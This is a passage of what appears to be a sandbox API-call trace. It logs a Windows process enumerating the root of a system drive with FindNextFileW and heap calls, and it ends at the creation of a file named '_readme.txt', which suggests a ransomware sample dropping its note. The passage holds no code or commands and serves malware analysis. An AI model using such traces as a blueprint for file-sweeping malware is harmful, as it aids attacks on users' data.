hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.482] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x38) returned 0x32a6888 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4c0 | out: hHeap=0x660000) returned 1 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.482] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0112.482] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0112.482] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x54) returned 0x3294720 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4c0 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba288 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32a6888 | out: hHeap=0x660000) returned 1 [0112.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.483] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d540 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4c0 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba288 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3294720 | out: hHeap=0x660000) returned 1 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.483] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc34bb4c0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0112.483] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba288 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa8) returned 0x3206400 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4c0 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d540 | out: hHeap=0x660000) returned 1 [0112.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba288 | out: hHeap=0x660000) returned 1 [0112.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.483] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xc34bb4c0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0112.483] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba288 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba288 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.484] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9d10eeb0, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9d10eeb0, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfc) returned 0x328fea0 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4f8 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba288 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4c0 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2d8 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3206400 | out: hHeap=0x660000) returned 1 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4c0 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.484] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c530 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.484] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.484] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.484] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.485] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x16c) returned 0x7549e0 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2b0 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba350 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849b0 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba378 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3a0 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c488 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3c8 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4f8 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba1c0 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba288 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c4c0 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c530 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2d8 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x328fea0 | out: hHeap=0x660000) returned 1 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba2d8 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.485] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0112.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284a40 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0112.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849f8 | out: hHeap=0x660000) returned 1 [0112.486] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9e11570, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xa9e11570, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xa9e11570, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba328 [0112.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.486] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.486] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba238 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba148 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x214) returned 0x32bd5d0 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c530 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba288 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba1c0 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x32849f8 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba418 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4c0 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c4f8 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba440 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.486] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0112.486] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2b0 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba350 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32849b0 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba378 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3a0 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c488 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3c8 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba2d8 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284a40 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba328 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7549e0 | out: hHeap=0x660000) returned 1 [0112.487] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba148 | out: hHeap=0x660000) returned 1 [0112.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba238 | out: hHeap=0x660000) returned 1 [0112.487] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xd4eaf790, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0xd4eaf790, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0xd4eaf790, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x495, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", 